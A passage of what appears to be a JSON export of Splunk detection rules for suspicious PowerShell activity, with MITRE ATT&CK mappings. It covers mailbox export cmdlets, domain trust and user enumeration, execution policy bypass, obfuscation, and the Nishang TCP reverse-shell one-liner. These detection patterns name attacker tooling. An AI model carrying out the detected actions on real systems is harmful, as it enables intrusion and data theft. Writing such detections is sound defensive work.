"Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Exchange PowerShell Module Usage", - "description": "The following analytic detects the usage of specific Exchange PowerShell modules, such as New-MailboxExportRequest, New-ManagementRoleAssignment, New-MailboxSearch, and Get-Recipient. It leverages PowerShell Script Block Logging (EventCode 4104) to identify these commands. This activity is significant because these modules can be exploited by adversaries who have gained access via ProxyShell or ProxyNotShell vulnerabilities. If confirmed malicious, attackers could export mailbox contents, assign management roles, conduct mailbox searches, or view recipient objects, potentially leading to data exfiltration, privilege escalation, or unauthorized access to sensitive information.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*New-MailboxExportRequest*\", \"*New-ManagementRoleAssignment*\", \"*New-MailboxSearch*\", \"*Get-Recipient*\", \"Search-Mailbox\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `exchange_powershell_module_usage_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-264A", - "CISA AA22-277A", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious Exchange PowerShell module usaged was identified on $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Get-ForestTrust with PowerShell Script Block", - "description": "The following analytic detects the execution of the Get-ForestTrust command from PowerSploit using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, providing detailed visibility into potentially suspicious activities. Monitoring this behavior is crucial as it can indicate an attempt to gather domain trust information, which is often a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map trust relationships within the domain, facilitating further exploitation and access to sensitive resources.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-foresttrust*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_foresttrust_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-ForestTrust was identified on endpoint $dest$ by user $user$.", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetLocalUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-LocalUser` PowerShell commandlet using PowerShell Script Block Logging (EventCode=4104). This commandlet lists all local users on a system. The detection leverages script block text from PowerShell logs to identify this activity. Monitoring this behavior is significant as adversaries and Red Teams may use it to enumerate local users for situational awareness and Active Directory discovery. If confirmed malicious, this activity could lead to further reconnaissance, enabling attackers to identify potential targets for privilege escalation or lateral movement.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-LocalUser*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getlocaluser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $Computer$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetWmiObject User Account with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` commandlet with the `Win32_UserAccount` parameter via PowerShell Script Block Logging (EventCode=4104). This method leverages script block text to identify when a list of all local users is being enumerated. This activity is significant as it may indicate an adversary or Red Team operation attempting to gather user information for situational awareness and Active Directory discovery. If confirmed malicious, this could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Get-WmiObject*\" AND ScriptBlockText=\"*Win32_UserAccount*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `getwmiobject_user_account_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Malicious PowerShell", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Malicious PowerShell Process - Execution Policy Bypass", - "description": "The following analytic detects PowerShell processes initiated with parameters that bypass the local execution policy for scripts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing specific flags like \"-ex\" or \"bypass.\" This activity is significant because bypassing execution policies is a common tactic used by attackers to run malicious scripts undetected. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to further system compromise, data exfiltration, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process_id) as process_id, values(Processes.parent_process_id) as parent_process_id values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"* -ex*\" OR Processes.process=\"* bypass *\") by Processes.process_id, Processes.user, Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `malicious_powershell_process___execution_policy_bypass_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "DHS Report TA18-074A", - "DarkCrystal RAT", - "HAFNIUM Group", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell local execution policy bypass attempt on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Malicious PowerShell Process With Obfuscation Techniques", - "description": "The following analytic detects PowerShell processes launched with command-line arguments indicative of obfuscation techniques. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and complete command-line executions. This activity is significant because obfuscated PowerShell commands are often used by attackers to evade detection and execute malicious scripts. If confirmed malicious, this activity could lead to unauthorized code execution, privilege escalation, or persistent access within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` by Processes.user Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.dest Processes.process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| eval num_obfuscation = (mvcount(split(process,\"`\"))-1) + (mvcount(split(process, \"^\"))-1) + (mvcount(split(process, \"'\"))-1) | `malicious_powershell_process_with_obfuscation_techniques_filter` | search num_obfuscation > 10 ", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell.exe running with potential obfuscated arguments on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Nishang PowershellTCPOneLine", - "description": "The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server. It leverages Endpoint Detection and Response (EDR) data, focusing on PowerShell processes that include specific .NET classes like Net.Sockets.TCPClient and System.Text.ASCIIEncoding. This activity is significant as it indicates potential remote control or data exfiltration attempts by an attacker. If confirmed malicious, this could lead to unauthorized remote access, data theft, or further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=*Net.Sockets.TCPClient* AND Processes.process=*System.Text.ASCIIEncoding*) by Processes.dest Processes.user Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `nishang_powershelltcponeline_filter`", - "tags": { - "analytic_story": [ - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Nishang Invoke-PowerShellTCPOneLine behavior on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "PowerShell 4104 Hunting", - "description": "The following analytic identifies suspicious PowerShell execution using Script Block Logging (EventCode 4104). It leverages specific patterns and keywords within the ScriptBlockText field to detect potentially malicious activities. This detection is significant for SOC analysts as PowerShell is commonly used by attackers for various malicious purposes, including code execution, privilege escalation, and persistence. If confirmed malicious, this activity could allow attackers to execute arbitrary commands, exfiltrate data, or maintain long-term access to the compromised system, posing a severe threat to the organization's security.", - "search": "`powershell` EventCode=4104 | eval DoIt = if(match(ScriptBlockText,\"(?i)(\\$doit)\"), \"4\", 0) | eval enccom=if(match(ScriptBlockText,\"[A-Za-z0-9+\\/]{44,}([A-Za-z0-9+\\/]{4}|[A-Za-z0-9+\\/]{3}=|[A-Za-z0-9+\\/]{2}==)\") OR match(ScriptBlockText, \"(?i)[-]e(nc*o*d*e*d*c*o*m*m*a*n*d*)*\\s+[^-]\"),4,0) | eval suspcmdlet=if(match(ScriptBlockText, 